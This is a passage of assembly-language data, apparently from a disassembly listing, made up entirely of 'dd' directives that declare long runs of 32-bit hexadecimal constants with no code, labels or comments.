		dd 27F3111Bh, 9C416482h, 4E841A96h, 0D8378CF2h,	99E1B6E2h
		dd 0B636007Eh, 0B4B60F8Eh, 3CA4A95Dh, 0A2A7E1C1h, 0ECB760DAh
		dd 0CEA11300h, 0EE687C53h, 2E4127D4h, 3783B939h, 0BC17FC5Ch
		dd 0C4D277BBh, 380704ECh, 371BA21Ah, 818FF9E8h,	0FF2C7A9Dh
		dd 4C9F2892h, 8D279EFh,	4D275DEh, 26F1B65Fh, 781F57C7h
		dd 0C8950E9Bh, 1659BFF8h, 0FB4C7A4Bh, 7B5D792Ch, 323D458Ch
		dd 6A0AFFA6h, 435C4302h, 862B0332h, 793A1FAFh, 2730FFB7h
		dd 23EF4551h, 0F23749B4h, 0B9ED431Eh, 862C28F4h, 7BFBACDCh
		dd 7229D8F4h, 31EA8AC0h, 0EAEBB33Fh, 7B4F0087h,	0F59F45A9h
		dd 6B7B4982h, 3D0243F0h, 4656FF7h, 6F970DDAh, 0FF2345DEh
		dd 2CC8C005h, 0C840B91Eh, 0C9271EF9h, 0C36A1849h, 0F02008C1h
		dd 4CF0EAEAh, 9CF6B0E4h, 3D8D80Fh, 94F43021h, 2450B21Eh
		dd 0CCE027A4h, 6E3C7206h, 0DFE940FCh, 5AA010E0h, 9BAD2357h
		dd 0CBBB4D57h, 0F9D6D46Ch, 0D41A8C87h, 94CCB4FEh, 7AB34125h
		dd 0C34F44C0h, 40C5F70Dh, 7D106F4Dh, 7E08C0CBh,	0FCB93E9Ch
		dd 0B018798Bh, 0E3EE2334h, 24B0C177h, 6AC0DB0Dh, 34AEF5C1h
		dd 1AECF684h, 3147B515h, 455A1598h, 0DEC303C0h,	50E45B9Fh
		dd 5FF7902h, 172A3383h,	0D5661384h, 567BC808h, 822C3495h
		dd 8606C0C9h, 0D8A717E1h, 0F48406F0h, 58DC0760h, 0B1583206h
		dd 0CD9B35E8h, 0FFC32792h, 0FFF606DEh, 0EF7461A4h, 0BE6FBDBFh
		dd 0D71F9DA6h, 48A905E9h, 0BF93B3C7h, 355B0984h, 9A68715Dh
		dd 0FA0AC2E0h, 0E7763DA4h, 0DB77126Fh, 0ED4D3FB5h, 64399CBBh
		dd 9C28060Ch, 0D637E963h, 360494B1h, 0E2663665h, 0C54754FDh
		dd 462024E1h, 46002F26h, 8F3B6B95h, 0DF3A28FFh,	0D7E2D5E9h
		dd 0B1CC3A82h, 9E100994h, 0C24FD5FAh, 3AA814E1h, 6CE60FE9h
		dd 531BE50Ch, 85DE8A2h,	270854C7h, 49C208E9h, 414F596Ch
		dd 0C78B4D68h, 8C5189CAh, 564BC4E6h, 1BDD25FCh,	0DB63A3E9h
		dd 0D7636B8Bh, 0F616CAEh, 344906DCh, 0B90E07A9h, 0B5E382C7h
		dd 0C30771FCh, 97A0892Dh, 369ED3Eh, 0C06E06D8h,	0FD25C384h
		dd 5F1443F9h, 0C5A57AE4h, 7EA266F4h, 0C71C47A9h, 3EB107AFh
		dd 5E470828h, 8D4E1472h, 8ADC62Fh, 0AB0EB33h, 306EEABCh
		dd 5671F3B7h, 8F33C8ACh, 1DEC8574h, 0FA5644D2h,	0C3342272h
		dd 5A5EA3E9h, 9A6D719Eh, 0C4E46393h, 0EFA3C7A5h, 0C8E13D28h
		dd 0F2B479E4h, 0DB5C833Bh, 0BBF734A9h, 0D31040A4h, 1395C029h
		dd 0C606F8EDh, 0DBC674E8h, 0BBE93FFFh, 512B8724h, 1073CB2Fh
		dd 55646467h, 0C98EB2Ch, 0F16747B3h, 48BAA820h,	81BB3A3Eh
		dd 0E875520h, 0FC56E572h, 63B474CEh, 0FE2C6C28h, 846D3E7Fh
		dd 0B5F4B508h, 4CD5F6E8h, 0FB306693h, 7297B1E0h, 8953C64Ch
		dd 510EFF7Fh, 0D9F0F4A7h, 0B9E62F1Fh, 5EDD4662h, 0C5A57AE4h
		dd 97F566F4h, 18FA60A5h, 0C3FFC79Ch, 0FBFD172Bh, 5EC403E6h
		dd 0FF0502D0h, 0B29BBC58h, 4826E3Ch, 0BD6C27C6h, 0F9A9A53Dh
		dd 0D4547D05h, 919C7E3Ch, 0CC221748h, 0E93A600Eh, 0EEECDED8h
		dd 2A2176F1h, 44F0A17Bh, 55A21D57h, 837773B3h, 529745F0h
		dd 8000FFACh, 2D2D7CF5h, 3C6377ADh, 0D60BC99h, 43BC9EFh
		dd 3F02AB36h, 0C6A576A7h, 838875E8h, 8D2912DEh,	2A7D3C48h
		dd 14845DF0h, 0AE63DFD1h, 7CA71C20h, 0DA2874F8h, 6F5DF1B7h
		dd 24C11D68h, 115875C7h, 8EE65AFCh, 0F9E56ECCh,	488EC687h
		dd 0E74E40AFh, 0DC82E66Bh, 0C8F745ABh, 0D43D07C8h, 0DB3374BFh
		dd 0B94CC2E7h, 8D61AD25h, 0D2B0E32Ch, 5E86236Fh, 0C13644ABh
		dd 0BF947D6Eh, 7BA6F5C4h, 297BAE27h, 207AFB1Dh,	7B8330E9h
		dd 8A583DF9h, 7EAEA085h, 8F0F3C4Ah, 2F74FF57h, 3AA28B60h
		dd 7A4E3D2Ch, 0D5463B8Ah, 0F8266EFFh, 4F1134E4h, 3D583A22h
		dd 8A8EF86h, 0FA8291E8h, 2E2C32BFh, 0DA7EC86Bh,	0FC206DB9h
		dd 0B82D3A73h, 22B8F4C4h, 0C1A37F76h, 386210BBh, 0D72A7DFEh
		dd 3A63875Ch, 0D8A77C0Fh, 6F732F09h, 0FA1849B2h, 0FDDAE33Ah
		dd 39FE7083h, 593FF77Eh, 4A7B5FCAh, 487A3588h, 0C3F46F96h
		dd 0F82D1DCEh, 388E2187h, 7B446BF1h, 87BC43BFh,	0AD4D610Ch
		dd 0BC829D27h, 5B5C04BDh, 8C00089Dh, 0FA5C3448h, 55B8A3E7h
		dd 2F300870h, 5E85258Eh, 0FA7D6D68h, 0B9C39AC7h, 0C10477FCh
		dd 0BE2ED56Eh, 0D27BF274h, 4AE29FF6h, 426BB92Eh, 44745F02h
		dd 4B012B4Ah, 0D3B52546h, 57B56D7h, 38765182h, 2C08469Eh
		dd 8C3D8A96h, 80E5692Ch, 0E2A57EE8h, 2B7C01BDh,	2B683FA4h
		dd 36EC556Ch, 0DE5284E6h, 0D4D4821Fh, 3131A266h, 3D366AE1h
		dd 9B043F4Bh, 0D52B0538h, 44C9E80Fh, 0C4AE841Ch, 0C3984B57h
		dd 0ED2D5527h, 0FC373AD9h, 370466F7h, 2F287D43h, 0BC99203Ch
		dd 0D46844BCh, 0BC4F1784h, 776B06FEh, 232D1CD9h, 0E2E0E644h
		dd 480CBCEh, 7B478484h,	0AAEDEDA8h, 579E2CD9h, 5C1351D4h
		dd 37B3AF8h, 0FABB445Eh, 0FC2E276Ch, 8BE7079Ch,	846E34D9h
		dd 1720C409h, 0DA52CE21h, 3CD47BFCh, 2BB944B7h,	0E7D13A7Ch
		dd 38A51D14h, 0DD880663h, 0B69BC91Ch, 6CA13B96h, 0EE086A83h
		dd 0EC37C904h, 0F53878D9h, 76624D10h, 0F1E65D71h, 0D6438DE8h
		dd 6A5E67D3h, 0D75CB097h, 0FF08D7C4h, 0E2855D96h, 9B551A77h
		dd 1985D3EAh, 0C4B3AF8Dh, 0E6148079h, 0C705312Eh, 82B20085h
		dd 9D33E4DAh, 0D7108D3Eh, 0F8AC68EBh, 0C4E4F763h, 0AAE0D087h
		dd 2C347C78h, 152230BCh, 9AD07CAEh, 556FB4D0h, 97813B84h
		dd 0F86BB9FBh, 9E7FEF8Bh, 0C22070CEh, 842106E7h, 0BAB55096h
		dd 478BAD4Eh, 0D7873DF3h, 98387528h, 0B9BE4876h, 34172362h
		dd 0A0F2A3A9h, 0D44771A8h, 0BA711F88h, 3085AD6Bh, 834C9EBFh
		dd 44EB9FBh, 0D535416Fh, 9C3011C7h, 0F92C7CF6h,	8B6384C8h
		dd 0E8633514h, 38EC7A7Ch, 4E26850Eh, 58E75EEDh,	0FD32457Bh
		dd 0E4B3F560h, 0C696DEBCh, 5E20B475h, 0DA8FF1C9h, 432B00FFh
		dd 0BAA03530h, 24BDEF96h, 4B844CFCh, 554C0928h,	422C1E5Ah
		dd 4220DBC7h, 2B82C7B9h, 0BFB6B6h, 13FDC6CCh, 444FFC0Bh
		dd 53EC2794h, 4AA65D64h, 0C5AB78A0h, 312E07FAh,	0E8D9748Bh
		dd 0D45B469Dh, 0BF2B42FFh, 102CC9CCh, 9ABD8068h, 6F211594h
		dd 7AC4971h, 678C6712h
		dd 9B5D1A08h, 0C46EEFFh, 204325CCh, 0CEE48092h,	28B5FAE6h
		dd 0F5E771E8h, 0FB356749h, 7CF489FDh, 0FF06744Fh, 0EC44A122h
		dd 9ABF7786h, 76A665C0h, 0E2AE1239h, 3F4C0D7Ch,	7AECFD71h
		dd 0B01F17DBh, 0FD2673FFh, 34CE5DF0h, 58671C73h, 0B3E5594Dh
		dd 0FF0F2DBEh, 0D22B84FFh, 613BB624h, 5A4FB0E4h, 7E77F4E2h
		dd 0E12A6AEDh, 0C727DC26h, 0FDB18C84h, 1686E657h, 1666DEE0h
		dd 41587D30h, 0C654D9CCh, 0DC978D52h, 0EE203E84h, 11FAD520h
		dd 0B340DC84h, 0D75944B2h, 0A3B7CAEFh, 693B3A49h, 0A7F076D7h
		dd 0CF5ACC08h, 5124CE6Bh, 22254763h, 5AE6C9Eh, 7F207292h
		dd 0CA5BB5D9h, 2534D191h, 0F43309E6h, 0CA2908EAh, 0F46486EEh
		dd 322270ABh, 933296B5h, 0F488AA32h, 0F698B996h, 6E49806Fh
		dd 0D9834E2Fh, 0B7F35A1Bh, 35A9EE84h, 0EC0F07E5h, 85063CD9h
		dd 0BE979D66h, 0B9E87C89h, 0C213930Fh, 0F25363A6h, 0C004C2BBh
		dd 0F558BB67h, 32237963h, 197196A3h, 446A4BC2h,	0E930254Ah
		dd 649E761Ah, 426C5E77h, 802571C4h, 69EA45EEh, 967AA95h
		dd 17017573h, 1E0293C7h, 0FF7AA66h, 49760DB4h, 4A471C91h
		dd 1934DBBFh, 505B795Dh, 0AAFBBF00h, 0E048209Ch, 8F9062CCh
		dd 0C3C3A505h, 0E88A0628h, 0F49E03A1h, 0FFEF6B12h, 1522C442h
		dd 0BDED5AB1h, 127E10CCh, 0F07D8AAFh, 8E386AF6h, 8B84C789h
		dd 59297C90h, 2793E421h, 9CF6F36Bh, 0D0EDBCF7h,	0BEEB2F9Bh
		dd 2D85F6DBh, 0FD4D5EDEh, 0ED733665h, 355A319Bh, 0C3593635h
		dd 4EE49F7Eh, 6E94E942h, 8B38D12Eh, 55C764FAh, 0AB1481CDh
		dd 217015C8h, 751FE686h, 0CC592D73h, 0C056364Dh, 7621A166h
		dd 0A67E1A6Ch, 30CE7CAFh, 22B71D6Ah, 8C5FA126h,	20A5046Bh
		dd 761778C8h, 7C01E79Ah, 254CB224h, 422E6A9Bh, 724C14F3h
		dd 0B75C4B60h, 3483D09Ah, 120C481Ch, 0BEE109B8h, 0E2893D62h
		dd 7D6D1E22h, 0F57CBD4Eh, 6567DEBAh, 0F5D10080h, 45710184h
		dd 0DD3848EFh, 32833494h, 0E1EAFC8Bh, 0D83467B8h, 0CC71BBEDh
		dd 0B6A5D665h, 16843906h, 155F8579h, 4F74F3CFh,	0DA5BB7CFh
		dd 26B6B077h, 0B0A984D4h, 2122EA4Fh, 782F25C8h,	0B62E5757h
		dd 55C1F4DCh, 6877EDCAh, 19B091F4h, 0A2F54188h,	4A31374h
		dd 0B7CEBFB8h, 0F6233AC0h, 69473609h, 0BC9E672Dh, 0E8B6F383h
		dd 40A97142h, 0F27CEEDDh, 7BD288C3h, 5F37402Bh,	5405D181h
		dd 0C210324Fh, 0F3B8DB22h, 0DD90E17Ah, 40930F6Fh, 572BC46Bh
		dd 128E327Bh, 2750241Eh, 2ADD60EDh, 7AE9245Dh, 38205DDBh
		dd 3585E75Dh, 74ED0B4Ah, 4C0B4DCh, 34ECBDFBh, 0D5FB4908h
		dd 2305B17Fh, 488EBD79h, 0D11E6CFEh, 0B6AFD33Eh, 5763EAEEh
		dd 3F3D4AC7h, 0E70156D1h, 0ED7CE0D6h, 0B9815F6Ah, 2544A5F8h
		dd 0F9D2E83Fh, 34508700h, 72EB7E2h, 0A2279D35h,	1FE4F85Eh
		dd 2EA152E3h, 8485DF9Bh, 330673BCh, 0FF295FE2h,	8376368h
		dd 0BDFFF51h, 1850FD13h, 0E30A8CFCh, 23DF834h, 1EF22B7Bh
		dd 76F7E125h, 99B3F33Ah, 0E6AAACE2h, 6B03F828h,	0E86F1FE1h
		dd 10B3205Eh, 40E027C2h, 0D540B5C7h, 5999E4AAh,	8AAF2D51h
		dd 89432765h, 0A2C969F6h, 3FFB04DDh, 2D000DD1h,	796287FEh
		dd 6287DEC2h, 1CBCC324h, 0E4A83A7Ch, 95A84FCh, 34AD093Ch
		dd 0F60208E6h, 5C93E488h, 0ADF01B47h, 0EE9ABE44h, 0D0FCF616h
		dd 0B94F61DCh, 0F7D1FDC0h, 418F3022h, 0FA587938h, 1C5C6D66h
		dd 1AFE9D10h, 0C5DD9EA2h, 0F8CC7C52h, 7DA871EFh, 5A91CBCh
		dd 4383E904h, 609F153Ch, 0B058AF36h, 26C0C745h,	17D87956h
		dd 6B29697Ch, 0F597B21Bh, 77C09F06h, 0ADB6F09Eh, 54F75EA3h
		dd 8CC89E1h, 80E9B236h,	421890EEh, 7412B978h, 0ACB5897Eh
		dd 2EC8FD4h, 85FC72DEh,	0EA3851C8h, 0F6EA72FCh,	0ED1F9C67h
		dd 9E9EA6C8h, 88897CAAh, 0E3CF990h, 79BB4E7Ah, 2D4F7FFEh
		dd 0B24770D3h, 0E2BA994Eh, 0DB3C4690h, 0C4F46B3Fh, 0C68DFB36h
		dd 0D8F07720h, 4F65468h, 0C5F566E1h, 24B11755h,	74A0AFE4h
		dd 4BFE0D7Dh, 0FACB2CE2h, 0D2F44C68h, 5AA9B9F0h, 5D82908h
		dd 282C7B76h, 860E961h,	0CF64CDF7h, 0C6A5BE48h,	7D263526h
		dd 0DBE45361h, 8B824769h, 860023Dh, 18FCB7E4h, 0D9E7E9A5h
		dd 81EE78FCh, 0A5A11C6Ch, 2AEB7A7Ah, 5B770E48h,	8159744Eh
		dd 0B1259968h, 361CF15Ah, 332BF412h, 5CCFFC3Bh,	56A459D0h
		dd 0C35ABD1Fh, 71CDB1F6h, 63E79188h, 0ACE793A5h, 710B180h
		dd 4D4BCD41h, 436AD13h,	0F5448508h, 6867255Fh, 0A752A2FCh
		dd 8FEFF4B8h, 86E637D6h, 14F577D4h, 394C009Fh, 2F8741EFh
		dd 1DFA973Bh, 0C8E8762Fh, 861CDF28h, 756FCEFEh,	2A76768Dh
		dd 10ACF8FEh, 0C214B452h, 9A34FF62h, 3B16808Ch,	0D279F9C5h
		dd 79D425D5h, 1F3F645Ah, 4D9F1F0h, 5B2DD952h, 0CE06F546h
		dd 0B2E019BBh, 47F4951Eh, 0D880755Fh, 0C4B77F24h, 86AEC742h
		dd 75D5AAC7h, 5E76231Ch, 2AAFA842h, 0A3EA73D4h,	971163B2h
		dd 0F63C1BC5h, 8E9A654Dh, 0CFBCB56Eh, 0F9AF6D7Ch, 0D235BB0Bh
		dd 8675B34Dh, 350C4DEBh, 7C6B55FCh, 806AB5E8h, 8923406Ah
		dd 7E6DB7F4h, 27BB6929h, 75E035CDh, 62410880h, 79E0CBAFh
		dd 86671DF7h, 0E015D973h, 41F4626Ch, 0B04C8B23h, 78E63C33h
		dd 0CB17071Bh, 81051AD4h, 3C088DFAh, 8BFF43F8h,	51E15870h
		dd 58CE29B8h, 4DF72C86h, 0DD934C79h, 0C3EC5C3Ch, 31979F0Bh
		dd 3C20A015h, 0E0CEF6EFh, 0DBCCA6DFh, 0D4FDB46Ch, 8CAF07EFh
		dd 0C0B3068Fh, 8BA1DF39h, 0ED1FF7B3h, 696DE30Dh, 98EA28FAh
		dd 9F233964h, 827AC9EEh, 0EFA6A5BDh, 0EE3F0AF1h, 0BDF278Dh
		dd 24C8EBBDh, 0C67697D9h, 1BD2FEACh, 1AC5A305h,	0A51A73Ah
		dd 0B12B7C63h, 427EA122h, 39103509h, 772ABA0Ch,	0FA2124ADh
		dd 9A2679A6h, 41D48BECh, 2F9D0A24h, 7527149Fh, 34F957F0h
		dd 0D2660F2Ah, 4E3029Dh, 0C5AE68ACh, 7CD9057Bh,	5D880178h
		dd 0EC4844AEh, 0E6DA7728h, 8EAE1F63h, 35CDBA2Eh, 180909DAh
		dd 0EC5D7B21h, 8274EBFCh, 7CA9FFF9h, 17B3F0E0h,	54D245F2h
		dd 0F8D0092Eh, 69EB40A9h, 12E61741h, 0B84A986Bh, 0F798646Ah
		dd 472B5BB9h, 4A9B8EABh, 0D9AEF1E1h, 0C831AF44h, 0E3EECAFFh
		dd 5ADEA567h, 4C205875h, 21A606CCh, 0D49E13D9h,	0B0954CB7h
		dd 0E20CB3C0h, 5CAD5567h, 65BA610Ah, 9CA0D5C5h,	8225C9EEh
		dd 4D638B44h, 4AF667B0h, 5B55935h, 21B2B4CCh, 3917F7D4h
		dd 0BFB9D80Ah, 0C41AF76Fh, 43A5BA5h, 388D5104h,	88FD1C96h
		dd 48427D27h, 3FA21C22h, 8090FDDEh, 13C09F0Eh, 89E949D7h
		dd 3AA81A22h, 0DA7EE035h, 4A7304A5h, 0EAF4D1ACh, 0CBD6AAE5h
		dd 0DAE0015Fh, 0FD69750Fh, 6DF6B296h, 0DA12C2A7h, 6473CA6h
		dd 842F6FABh, 0B0C5EF5h, 0B80181D9h, 44B99DA0h,	136E3CEFh
		dd 0BCDB4738h, 0B82764D2h, 6F94B416h, 0F49D104Bh, 20A3D0D2h
		dd 5108706Bh, 9BB7DA22h, 63893928h, 0CC6E569Fh,	0C46143D8h
		dd 95EE017Bh, 93FA3BC3h, 1D0F0143h, 60AD41EFh, 211AD841h
		dd 9CE542C4h, 8BE8C1EBh, 0A0AD4FF8h, 0DBEAED01h, 0C527B024h
		dd 22B72284h, 99FE17D3h, 0A7EF5D09h, 0C4F107BAh, 0BEB8FCC9h
		dd 7ED17D84h, 77F04036h, 0AE315C47h, 3EABAA9h, 5622496Ch
		dd 69BAF43Bh, 254EBBD2h, 35B01D4Eh, 0FC005839h,	500C77D8h
		dd 0A85591Ah, 0C1B07A09h, 0A44C76C6h, 0C6988F65h, 791F5AA3h
		dd 13449D62h, 0C9EAACA5h, 876246F9h, 0BDBB8125h, 0DD63B208h
		dd 0DABD7BEBh, 7C4B80EFh
		dd 0BF66C6FAh, 6F266C68h, 0E8EB21FAh, 70B949Eh,	12736CF7h
		dd 60385281h, 7C48FA4Ah, 0E276C6A1h, 3A4A731Bh,	538151E9h
		dd 0BF351D1Dh, 4670DCAEh, 9AA3C382h, 153A3D55h,	3E12C7C2h
		dd 1B2EFDE8h, 2B345EEBh, 3E47C8AEh, 0C421D6AFh,	7F1A1353h
		dd 3FF0C78Ch, 0B8D774A4h, 0BFE03590h, 0B5E24340h, 0DA5402A4h
		dd 0C24580A5h, 0B06634B2h, 0AA644291h, 0BE7175E5h, 0B45CA77Dh
		dd 0B89874FBh, 0C71BC661h, 0C54FC285h, 0FC96C532h, 0B91E64D0h
		dd 188806FCh, 0CB56C52Eh, 7B2D75D5h, 0DBDFC383h, 9DF9F0FCh
		dd 0A7354CA4h, 3766E6A8h, 54620BFCh, 644DB4FCh,	693CF076h
		dd 0DBA8C06Bh, 7F38C565h, 7D22F0CEh, 0A4CCF67h,	7061294Ah
		dd 0BF9CAE10h, 0E288BD59h, 0AD3C9DD0h, 9D10AEBDh, 16F474DEh
		dd 64CC4663h, 7F4CAE21h, 78A9545Ch, 0AFB6846h, 13EC675Ah
		dd 26BB063Fh, 23A54E91h, 8F83EA0Dh, 0AA91352Bh,	179BD496h
		dd 4419AB0Dh, 99577E8h,	9D5BF514h, 0D49416D6h, 0CADA6DACh
		dd 0AEC5CA66h, 687879D4h, 0B0E4AAE7h, 16520718h, 267C5DEh
		dd 4713905Eh, 9801B47Eh, 9C1BC95Bh, 0ABC6348h, 0AB10351Eh
		dd 8AF740AAh, 0C8BD596Dh, 224D3FA1h, 0F02EB8EDh, 24936881h
		dd 0AE3C9FE6h, 2C0179F9h, 8C98B93h, 84A051CFh, 425A0357h
		dd 2C7DA00Eh, 0E09A7A28h, 60184BAh, 9708B74Bh, 0C31DFC86h
		dd 0ABC8CCC4h, 0C01044EFh, 8AD59CBh, 19377952h,	500A67BDh
		dd 0D22657D2h, 76E4FEE9h, 2F94E53Ch, 72CA34EDh,	3853AE75h
		dd 655EB89Fh, 71B3D9C0h, 485143A2h, 82BE0124h, 6E16D296h
		dd 935DA8F0h, 0C6FCFCAFh, 272B8CA0h, 9CB2A906h,	0B89BC833h
		dd 0D09BEDD0h, 2ACE551Bh, 0C432B8CFh, 0D42E9FCCh, 1D34A4D3h
		dd 0CB0977E3h, 0FF1F91C8h, 0B5655D77h, 0F2D10928h, 0AE9A83FEh
		dd 34340607h, 0F4AE2E6Bh, 7D298BFDh, 84165DF8h,	4A2EFD06h
		dd 0EBD8C6EEh, 27FF561h, 794F5BF9h, 0C15A9C3Fh,	0E2162B39h
		dd 0A18BC028h, 0CD04E6A7h, 20BC5476h, 6D0EFBA1h, 0E9F73FF5h
		dd 0D4A4A000h, 0D9F539D9h, 0DB51538Dh, 38F23345h, 17A9ECEAh
		dd 0DE93D29h, 0A3B4C634h, 0EDF9B44Eh, 0E20CF232h, 3C404ACBh
		dd 0E5262474h, 2B46742h, 10687DEDh, 82F771EFh, 0D030832h
		dd 0E3AAC7Eh, 98D3B218h, 0CF3D3192h, 0B5A1221Ah, 22D8F862h
		dd 0CBEFBB92h, 57EC596Ah, 31869C38h, 363C413Ah,	959F02FFh
		dd 0C43ACE95h, 8F45CE85h, 0CC466A56h, 763841F3h, 0ADFA69CFh
		dd 0ACC6AB9Ch, 0F9ADB3E0h, 0F1215284h, 850CBCA4h, 208E86F7h
		dd 0A2F77A2Dh, 92957A78h, 3F1C21D4h, 33067D3Ch,	4735127Bh
		dd 0FF039DD8h, 0E9AD2330h, 54B71219h, 0A2BD48BCh, 23E08A5Eh
		dd 0DE55A115h, 16817430h, 0D505D13Bh, 0DF04DE44h, 0AB3919A4h
		dd 0F691C9B4h, 0DBE216ADh, 0DE89B047h, 6AA0FF43h, 0C5F9D548h
		dd 7E34CDF0h, 309CAD8Eh, 0BA9C42C9h, 0DA18CDD5h, 0CCE0CDC5h
		dd 3230662Dh, 0CB3526AEh, 24D5A670h, 4B05C5CEh,	0F7B23E4Ch
		dd 0A90130F5h, 0AA30BDB0h, 5F309C6Fh, 69750C1Bh, 0A08AB788h
		dd 593AF7FFh, 4EA449C5h, 626DB000h, 0D8C9B836h,	3200BCF7h
		dd 0D0AC8F4Bh, 0A9386612h, 0EB92BCBDh, 0D418D39Eh, 4ED0D380h
		dd 0CF35B22Fh, 8F68FD41h, 0B9EAC981h, 35700401h, 8B2FC2D4h
		dd 466E41BFh, 17F5B513h, 0E25E7659h, 7423B464h,	4F2D4F50h
		dd 7C11037h, 0A77ABABAh, 30098527h, 0E2E29Bh, 0C8D67F36h
		dd 0CB291C6Fh, 783100C3h, 6A2F6DEFh, 6FA25980h,	954C6EA8h
		dd 34547C80h, 0BBF401F8h, 7A211A4Ch, 457E71D3h,	81289038h
		dd 3C20FC2Fh, 1CF646F9h, 0E4F5FBAh, 0C32F59F7h,	88277484h
		dd 0DA2BE4F6h, 598E3E46h, 0DBD1130h, 5F67BDE6h,	7CF7C03Ah
		dd 2BC7980h, 0CDE84952h, 851779E0h, 0FF361795h,	0CC667BA0h
		dd 0CBF4BE81h, 0F3F5B7C4h, 6A755674h, 6E7F9087h, 0C37C5B86h
		dd 0EE1C0914h, 18E24C99h, 0C3B59910h, 653D379Eh, 6FEF4EE2h
		dd 0A362CE4h, 4308241Ah, 0DB3F75E0h, 55362AF8h,	925379F8h
		dd 64A74F64h, 0C42EA875h, 0EF78D44h, 743CD5A6h,	0C4EC7088h
		dd 42032D0Bh, 0E37771FFh, 0C86D842Fh, 47EE190Dh, 0DF54F46Fh
		dd 0C8DCF4F4h, 78F92297h, 0C723FCFCh, 1D2593E0h, 598EEF22h
		dd 0CFA11EBBh, 0E624ABEFh, 0DA3824D6h, 0F5980ECCh, 280D00DDh
		dd 37961B7Bh, 0AFCCF310h, 19450B29h, 0AC945184h, 8F58A8C5h
		dd 7BFD6B5Ch, 40507824h, 7B307AEDh, 4C9AD579h, 7C3F2CE0h
		dd 0EA2AD9E4h, 0D0FDE4E0h, 5B44886Bh, 9F3A0D0Eh, 0FAF9B3C2h
		dd 103468D7h, 3AE4CF8Eh, 151CED04h, 27EBB629h, 1F381C84h
		dd 27009BFCh, 0FD07794Ah, 0D7622392h, 3727014Fh, 6CA9F12Bh
		dd 295B4DEAh, 53306E00h, 472CF79Bh, 9400E5C2h, 0AF067D04h
		dd 12046705h, 554D395Eh, 24CB593Ch, 40D1FCE9h, 5C064B6Ch
		dd 0CBAA43D6h, 0BB450366h, 4B180118h, 6C3017F0h, 69048065h
		dd 8471789Eh, 72AAE172h, 16C5099Ah, 0AE2B4EFFh,	0C6483163h
		dd 8F18F134h, 0E9F88EC0h, 4FC009Ch, 0C82B63Ah, 4A4C7216h
		dd 4C4E7550h, 0B83EDC2h, 3F6D18BEh, 0BFCE7h, 0C5B8AB64h
		dd 84FD5ACFh, 140BE776h, 7507FDC9h, 21BB9D54h, 0D6E57E23h
		dd 3AED6384h, 52C4D7C6h, 6E254AF8h, 0A21B3908h,	4C46F850h
		dd 7F240ED4h, 0F084E987h, 786C7300h, 0A705F529h, 9B6C80FCh
		dd 43E68F28h, 7A05F16Bh, 8A1F078Ch, 0F4A07D39h,	9C20B861h
		dd 0BA17C50Fh, 3B70F154h, 0E0AD188Fh, 0EDD448BFh, 7B54A36Ch
		dd 8F4D7FAFh, 0C3BADD04h, 8075B772h, 53C9847Dh,	0C9B0C4Bh
		dd 3AA121E2h, 0F409815Ch, 6EF5E724h, 0C4A1F1E4h, 4A2FCADh
		dd 6CAD07E4h, 0C4F564E6h, 0C5BEE706h, 9A057F30h, 2085BBFCh
		dd 0C8E477E9h, 2505902Eh, 0DB06CB28h, 0FB2367F8h, 4AC732Eh
		dd 4C0C7D28h, 5F5E6668h, 0E0AD277Ch, 7C215E3Ch,	6B057EB2h
		dd 0B18735FCh, 2F2EC7FFh, 7990C1EAh, 5EACBAFCh,	892DED3Fh
		dd 0D54547F8h, 0FE0E4766h, 6A0C89C8h, 7CCA4768h, 0DCC44150h
		dd 52C41EBh, 7CEA756Bh,	0FCB3B428h, 973480DAh, 0DDF45D64h
		dd 0FD3EFCE7h, 0C33497CFh, 0F134CE4Eh, 0FB06FB4Ah, 6B2F14E6h
		dd 7C464768h, 0DC70417Ah, 0BEE6808Dh, 3F2F5D68h, 0FCD5B454h
		dd 0D5BFBD91h, 5A49754Dh, 0C27B77A3h, 84350ECFh, 0C5285C4Fh
		dd 0FE670A9h, 79E0D0CFh, 3530E2CEh, 38BD6459h, 48C5D8Fh
		dd 71AD78FDh, 0C71964E6h, 0C5CFE71Dh, 4C057F0Fh, 0BF86B6FCh
		dd 0D42E40FFh, 5413749Bh, 0DC367BC9h, 0D5F547F8h, 0D5DB41F1h
		dd 0BE38DE35h, 79ED7528h, 47377AE4h, 0C9F3E4D1h, 0AF0558FEh
		dd 72C1334Ch, 9B2F0CE2h, 0C84D04D2h, 53F08682h,	445CCDEEh
		dd 794C6284h, 912F6524h, 0D6E9CC71h, 23E63183h,	0F23632C4h
		dd 71F0085h, 3B14DBC7h,	0C5FC6749h, 76AC69A1h, 0D9A4CD66h
		dd 0F589E3FCh, 807FCCh,	9553BC3Ch, 2C856249h, 0A055417Eh
		dd 0D57F47E2h, 0F4004689h, 600D30C8h, 7C634768h, 399D415Ah
		dd 642D2D54h, 904DCDBh,	7487FFC7h, 65C88A08h, 0AAC7F463h
		dd 3FE2533Bh, 28E64FA4h, 9E9166B4h, 1A9852Dh, 52FB1FA6h
		dd 92C016Eh, 391DBB1Eh,	3FAA4BF0h, 440A66DAh, 9B3B3DCAh
		dd 2C2A97FAh, 3E5A69EAh, 56526477h, 0C44A715Ch,	97C122A4h
		dd 0DC3504AAh, 0C4942554h, 0B4E6DFEAh, 564DE89Ch, 9591BD47h
		dd 0D72CB37Ah, 790DFB25h, 0BCDAF4E4h, 2BCB211Ah, 4DC2C768h
		dd 7CF8ABFCh, 38BCDB3Ah, 1B0ECD22h, 6905F4B7h, 41D5B08Bh
		dd 3C5AD1DBh, 323B0668h
		dd 0CF6C8FD4h, 0C2BCA0FCh, 42F00FAh, 0DE372E96h, 0CE9F1AC0h
		dd 8C1D2088h, 0DD40476Ah, 0BBE167A2h, 599C73C4h, 0D58971E1h
		dd 0C3B0E74Eh, 40ACF229h, 0D42A841Fh, 2CCFC11Ah, 0C8A0E20Ch
		dd 2867E3Bh, 37F69B78h,	2E10FFFAh, 0C3EE5C3Fh, 3B056BC7h
		dd 7E2C4DF9h, 0DBC08E4h, 72331A9Eh, 1810F785h, 84325CB0h
		dd 0B9347E4Bh, 3A38C98Eh, 0C868645Ch, 5286734Bh, 47E77E78h
		dd 6DD58164h, 0B8CA64E2h, 7FFC4D09h, 3A46B8FCh,	7F1346F0h
		dd 0C10594C0h, 0D3BB73CFh, 0AF2F408Eh, 3B7F71CAh, 39475667h
		dd 97008BB1h, 0F72D29FEh, 39AF007Ah, 7B2DCDB4h,	6305F334h
		dd 9ADB77B1h, 0C54535F6h, 220D0B18h, 1CA14829h,	22EB5EB1h
		dd 50E643FEh, 8B764CCFh, 494F7D76h, 97073F28h, 0DA7B7E48h
